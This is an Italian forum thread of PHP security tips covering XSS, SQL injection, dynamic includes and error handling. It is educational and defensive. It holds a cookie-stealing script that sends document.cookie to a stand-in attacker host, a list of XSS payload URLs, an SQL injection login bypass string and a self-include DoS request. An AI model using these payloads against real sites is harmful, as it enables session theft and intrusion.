[PILLOLA] "Beware of" o sulla programmazione "sicura in PHP"

[mark2x]

Originariamente inviato da frinkia
Ottimi spunti; una piccola nota: in realta' la soluzione piu' semplice alla SQL injection dovrebbero essere semplicemente i prepared statements.

Posti degli esempi su cosa intendi? Tutto quanto è interessante lo aggiungerò.

Ciao e grazie.

[mark2x]

Originariamente inviato da mark2x
Non mi è chiara ancora la dinamica delle pillole, cioè come fa una pillola a divenire "pillola in rilievo" e quant'altro.

Oh... non litigate per rispondere...
Boh, intanto linko alla mia firma, nel contempo aspetto consigli.

Ciaoo.

[andr3a]

Originariamente inviato da frinkia
Ottimi spunti; una piccola nota: in realta' la soluzione piu' semplice alla SQL injection dovrebbero essere semplicemente i prepared statements.

che non esistono nel vecchio driver se non attraverso librerie dedicate.

Per i prepared serve mysqli o pdo o pear ... forse ... o pdo per php 4

[daniele_dll]

le "pillol" in rilievo non potranno mai diventarci ... vengono inserite nell'elenco delle pillole

pensavo che ti riferissi a questo ma mi pare di capire che con il termine "in rilievo" ti riferisci proprio al thread messo in rilievo ... se si ... non accadrà mai o quasi
Quelli che vanno a finire in rilievo sono gli articoli che mettiamo su freephp.html.it e che poi "linkiamo" qua per una questione di maggiore visibilità

fine ^^

[mark2x]

Semplicemente intendo quelle che vanno nella lista delle pillole che stanno nel 3d REGOLAMENTO + PILLOLE TRATTATE.

Todo qui.
Grato per la risposta.

[mark2x]

6. Cross-site scripting (XSS)

6.1 Introduzione

Nel caso un’applicazione Web (in special modo webmail, forum, blog e simili) visualizzi dati provenienti da sorgenti esterne, senza un accurato controllo è possibile che i dati di ingresso veicolino possibili exploit volti in generale all’esecuzione di codice sulla macchina client – scripting client-side – oppure all’ottenimento di dati dal client stesso.

Exploit per l’ottenimento di dati

Poniamo che un forum mal scritto presenti ai visitatori tutto ciò che viene da essi inserito, senza alcun tipo di controllo. Bene (male…): un hacker non esiterebbe ad inserire, quale nuovo messaggio (post), il seguente:

<script language=”javascript”>
  document.location.href=”http://hacker_org.com/evil_script.php?data=” + document.cookie;
</script>

in cui evil_script.php è uno script in suo controllo, residente su altro server.

Nella pagina HTML risultante del forum, inviata al browser, si avrebbe quindi tale testo come corpo del messaggio appena scritto; essendo questo, in fin dei conti, puro codice JavaScript, il client non indugerebbe ad interpretarlo (10), portando a caricare la nuova pagina evil_script.php e passandole l’intero contenuto del cookie via query string.

evil_script visualizzerà tutto ciò che sia contenuto nei cookies associati al dominio hackerato. Ivi compresi i dati relativi al session_id!

Ad esempio:

PHPSESSID=f3ca8197a2e182f891e09da05467131b; clickedFolder=2; highlightedTreeviewLink=2

In questo modo, senza dover ottenere un login valido, l’hacker può probabilmente (11) riuscire a navigare nel forum come utente legittimo. E a rimediare chissà quali danni…

E se il suo fosse un account amministrativo?...

Esecuzione di codice di scripting o iniezione di HTML

Oltre al furto di dati importanti, non è la prima volta che la tecnica XSS viene utilizzata da buontemponi che, iniettando, ad esempio, il seguente codice nell’applicazione vulnerabile:

<script>while(true){alert("Ah ah ah");}</script>

altro non fanno che costringere l’utente visualizzatore ad uccidere il task relativo al browser, giusto per evitare di dover continuare, infinitamente, a cliccare sul tasto “OK”…

E questo è semplicemente un esempio della possibilità di eseguire codice su browser; del resto, l’esecuzione stessa di codice è resa agevole dal fatto che molto spesso le applicazioni visualizzano direttamente ciò che ricevono via query string, senza filtrare nulla. Come conseguenza diretta, è sufficiente inserire via URL ciò che si vuol fare eseguire al client!

6.2 Alcuni esempi reali

[GET] http://www.xxx.com/virusSearch.php?VN=<script>alert(document.cookie)</script>
[GET] http://www.xxx..com/search/images/vi...script%3Ealert(document.cookie)%3C/script%3E
[GET] http://www.xxx.com/search?type-index="><script>alert(document.cookie)</script><x%20y="
[GET] https://www.xxx.com/logonfailed.htm?--><script>alert(document.cookie)</script><!--
[GET] http://www.xxx.com/viewcvs.cgi/<script>alert(document.cookie)</script>
[GET] http://www.xxx.com/register.php?id=T...it&required=1& LastName=&EmailAddress="><script>alert(document.co okie)</script><x%20y="&Company=&submit.x=50
[GET] http://www.xxx..com/securityfocus/SearchServlet?col=";alert(document.cookie);//
[POST] <form name="f" action="http://www.xxx.com/static_suchen" method="post"><input name=search value='<script>alert(document.cookie)</script>'></form><script>f.submit()</script>
[GET] http://search.dooyoo.de/search/products/<img%20src=javascript:alert(document.cookie)>

6.3 Soluzione per il programmatore dell’applicazione Web

Difendersi da tali tipologie di exploit è tremendamente semplice: come già ribadito altre volte, è necessario filtrare i dati in ingresso, sempre.

In questo caso, la funzione htmlentities() del PHP, che converte tutti i possibili caratteri in entità HTML, deve essere applicata prima di salvare l’input su db (o file di testo che sia) e/o prima della sua visualizzazione: esso sarà di fatto sicuro.

Alternativamente, possiamo usare la funzione strip_tags che, radicalmente, rimuove tutti i tag HTML e PHP da una stringa.

6.4 Soluzione per l’utente finale

Verisimilmente, l’unica maniera per evitare falle di sicurezza di programmi mal scritti è la completa disabilitazione di ogni script client-side (JavaScript e simili). Sfortunatamente ciò si scontra con la possibilità di navigare sulla stragrande maggioranza di siti ed applicazioni Web che fanno, giustamente, un uso capillare e sacrosanto di tali tecnologie.

A fronte di quanto detto, possiamo tuonare enunciando che per l’utente finale, in definitiva, un metodo sicuro e trasparente di protezione non esiste.
____

(10) Ovviamente se l’esecuzione di JavaScript è attiva.
(11) In assenza di altre misure di sicurezza quale, ad esempio, il controllo dell’IP e del browser sorgente ad ogni nuova pagina di script (per ciò che possono valere).

[ringo_mato]

aggiungerei pure di non usare gli short tags di php se il server e configurato per qualche maniera male il codice è leggibile

<? 
// Codice
?>

<?php 
// Codice 
?>

come indicato da Ilias Bartolini al PHPday del 2003
http://www.phpday.it/download/2003-1...b_Security.pdf

Non usate gli short tags ...qualcuno cambia la configurazione di php.ini
e il vostro codice sorgente diventa leggibile a tutti

[mark2x]

AGGIORNAMENTO e modifiche.

[andr3a]

Originariamente inviato da ringo_mato
Non usate gli short tags ...qualcuno cambia la configurazione di php.ini
e il vostro codice sorgente diventa leggibile a tutti

dipende anche dalla versione, le ultime da quanto ne so vorrebbero SOLO <?php (forse di default nell' ini), che è il modo corretto di inizializzare una porzione di codice PHP, quindi usare sempre <?php e passano i problemi

[IroN@xiD]

Innanzi tutto complimenti per l'iniziativa Un ottimo lavoro!
E' importantissima la sicurezza e molto spesso la si da per scontata.

Volevo dare il mio modesto contributo alla pillola.

Registers globals

Credo che sia il caso di non utilizzare più le variabili globali.
Utilizziamo invece i nuovi array $_POST, $_GET, ecc.
Le variabili globali sono attualmente depracate e potrebbero scomparire da un momento all'altro nelle nuove versioni di PHP.
Creare ora uno script con le globali, inizializzate o meno, oltre a comportare potenziali problemi di sicurezza rende i vostri script potenzialmente incompatibili con le prossime verisioni di php oltre che meno comprensibili.
Molti host le tengono abilitate, quindi come già suggerito, in fase di sviluppo cercate di inizializzare tutte le variabili e considerate ogni anomalia.
Le notice vanno sempre prese in considerazione e risolte. Molto spesso può capitare di perdere un sacco di tempo a cercare l'origine di un warning o di un anomalia solamente perchè non si visualizzano le notice.

Include dinamici

Si è risolto controllando la cartella uno dei principali problemi di sicurezza.
Siamo così sicuri che lo script incluso deve trovarsi nella stessa cartella del file che lo include.
Tuttavia esistono almeno altri due problemi di sicurezza anche controllando la cartella.

Il primo, riguarda la possibilità di includere tutti i file appartenenti alla stessa cartella.
Quindi attenzione a cosa mettiamo in quella cartella.

Il secondo, quello meno simpatico, riguarda la possibilità da parte di un malintenzionato di mandare in loop lo script fino a causare il crash del webserver.

Prendiamo come esempio lo script d'esempio della pillola.

if ((isset($_GET['include_script'])) && (dirname($_GET['include_script']) == ".")) {
  include($_GET['include_script']);
} 

Supponendo che il file contenente questo codice sia security_hole.php che cosa accadrebbe richiamando un url come questo?

http://sectest.html.it/security_hole.php?include_script=security_hole.php 

La variabile GET include_script risulta settata, la directory risulta la stessa, e lo script include se stesso.
La copia inclusa ricomincia il test, lo passa e include per l'n-esima volta se stesso..
E via così fino a saturare le risorse.

Pensate l'effetto di un centinaio di richieste simili dirette al vostro webserver.
Un bel DoS.

La soluzione è utilizzare include_once() al posto di include().
Che cosa fa include_once a differenza di include?
Semplicemente controlla se il file è già stato incluso. Se il file è già stato incluso non lo include più.

Inoltre vorrei sottolineare che, anche supponendo di aver alzato adeguate barriere per filtrare l'input, siamo sempre in una situazione di potenziale pericolo.
Qualcosa potrebbe esserci scappato.

Gli include dipendenti da input esterni, se proprio è indispensabile usarli (in realtà non lo è mai), possono essere resi sicuri numerando i file ed utilizzando un semplice switch.

/**
 1 =  file includi_foto.php
 2 =  file includi_oggetti.php
**/

$include = (isset($_GET['inc'])) ? $_GET['inc'] : false;
switch($include) {
  case 1:
    include_once('includi_foto.php');
    break;
  case 2:
    include_once('includi_oggetti.php');
    break;
  default:
    echo 'non fare il simpatico, levati dalle palle';
} 

Questo ci garantisce il pieno controllo dei file inclusi e quindi la massima sicurezza.
Potrà essere incluso solo quello che abbiamo previsto sia incluso, nonostante rimanga comunque possibile decidere cosa includere dall'esterno.

Autenticazione con MD5

@mark2x sei incappato in un errore di distrazione immagino

la query, anche in presenza di tentativi di hacking, risulterebbe simile a:
codice PHP:

SELECT * FROM tabella_utenti WHERE usr=’qualsiasi_nome’ AND pwd=’ 6f8f57715090da2632453988d9a1501b’;

e sarebbe, appunto, non vulnerabile.

visto che qualche riga più in alto avevi giustamente scritto

Inserendo in username la stringa: qualsiasi_nome’ OR 1 -- si ottiene:
codice PHP:

SELECT * FROM tabella_utenti WHERE usr=’qualsiasi_nome’ OR 1 -- AND pwd=’qualsiasi_stringa’;

E l’accesso è assicurato. “- - “ rappresenta per MySQL il delimitatore di commento: tutto ciò che segue viene ignorato.

Capita

Casting del tipo

Hai suggerito di castare il tipo.
La precauzione è valida.
Volevo solo far notare che castare il tipo direttamente sulla query è rischioso perchè il risultato è imprevedibile.
Pensa a castare su una query DELETE o UPDATE.
Potresti comunque finire con il cancellare o aggiornare qualcosa che non doveva essere aggiornato o cancellato, quindi anche se fai andare in confusione l'attaccante potresti ritrovarti comunque danneggiato dal tentativo di attacco.

Io consiglio di crearsi delle piccole funzioni in grado di controllare e castare al tempo stesso.
Posto una delle funzioni che uso più spesso (così magari mi controllate pure che sia sicura eheh ).

function validId(&$str) {
    if ( isset($str) && checkint($str) ) {
        $str=(int) $str;
        return true;
    }
    else {
        trigger_error("Trovato un id non valido\n".debug_str(),E_USER_NOTICE);
        return false;
    }
} 

Per chi non lo sapesse la funzione riceve la variabile come riferimento, e non come valore.
Questo comporta che ogni modifica effettuata alla variabile passata all'interno della funzione si riflette sulla variabile stessa.

Cioè, in breve

$a = 1;
piu($a);
echo $a;
function piu($a) {
 $a++;
} 

stampa 1

invece

$a = 1;
piu($a);
echo $a;
function piu(&$a) { //nota l'& prima della variabile
 $a++;
} 

stampa 2.

Precisato questo torniamo alla funzione validId.

Vedete come la funzione controlla che la variabile sia settata.
Infatti passare un valore non settato per riferimento non causa notice o warning.
Controlla poi che sia un intero o una stringa intera con la funzione checkint (non la posto per non allungare troppo) e poi se si tratta di un interno o di una stringa intera effettua comunque il casting che, se è una stringa intera si comporta coerentemente, altrimenti non si applica.

Se tutto è ok, la funzione prepara la variabile e ritorna true altrimenti false.

Risulta quindi molto comodo e soprattutto sicuro controllare la variabile.

Per esempio.

if(!validId($_GET['a'])) echo "Passato un id non valido";
else {
  $sql = "DELETE FROM raffreddamento_reattore_nucleare_1 WHERE id = '".$_GET['a']."';";
} 

Il principio è applicabile a qualsiasi altro tipo di controllo.

Escape per SQL

Bisogna fare attenzione anche alla codifica dei caratteri che si usa quando si fa l'escaping.
Infatti mysql_escape non è sicura al 100%, anche eliminando i caratteri che non considera, poichè non presta attenzione alla codifica delle stringhe che riceve in input ed alla codifica della connessione con il db.
Un apice in qualche codifica potrebbe essere differente dall'apice che normalmente viene neutralizzato da mysql_escape.
Quindi è sempre conveniente, se non altro per togliersi ogni dubbio, utilizzare mysql_real_escape_string.

Inoltre se stiamo lavorando con codifiche multi-byte, come può essere utf8, è utile utilizzare per sostituzioni o lavorazioni sulle stringhe delle funzioni apposite con il supporto multi-byte/multi-codifica, come può essere mb_ereg.

Naturalmente è difficile che un script-kiddie sia in grado di sfruttare debolezze di questo genere. Ma è giusto considerare che c'è qualcuno in grado di farlo e quindi anche se il software sarà difficilmente attaccabile, è comunque vulnerabile.

Chiudo

Chiudo ricordando un altro aspetto che può essere scontato ma è bene ricordare.
Eliminate ogni genere di error_reporting sugli script in produzione.

error_reporting(0); 

Ricordate che disabilitare la visualizzazione degli errori non costituisce mai un problema e non significa rinunciare al debug.
Anzi, è utile per avere un controllo maggiore sul proprio software.

Per controllare gli errori sugli script causati da voi o da terzi sullo script potete usare l'error_handler definendo una vostra funzione per catturare gli errori.
Potete decidere di farvi inviare una mail ad ogni errore che si verifica, salvare tutto su un file di log, entrambi, o qualsiasi alta cosa vi aggradi.
L'importante è che con l'error_reporting a 0 gli unici a sapere cosa succede sarete VOI.
Un attaccante quando trova l'error_reporting a 0 può anche causare errori e passare su alcune falle ma se non ha riscontri può credere che la falla o l'errore non esiste perchè voi l'avete gestita correttamente.
Questo non significa fregarsene della sicurezza.. perchè appena uno insiste può bucare comunque. Ma questo sistema è utile quando nonostante tutti i vostri sforzi per ottenere la massima sicurezza qualcosa è scappato.



Bene.. spero di non avervi annoiati!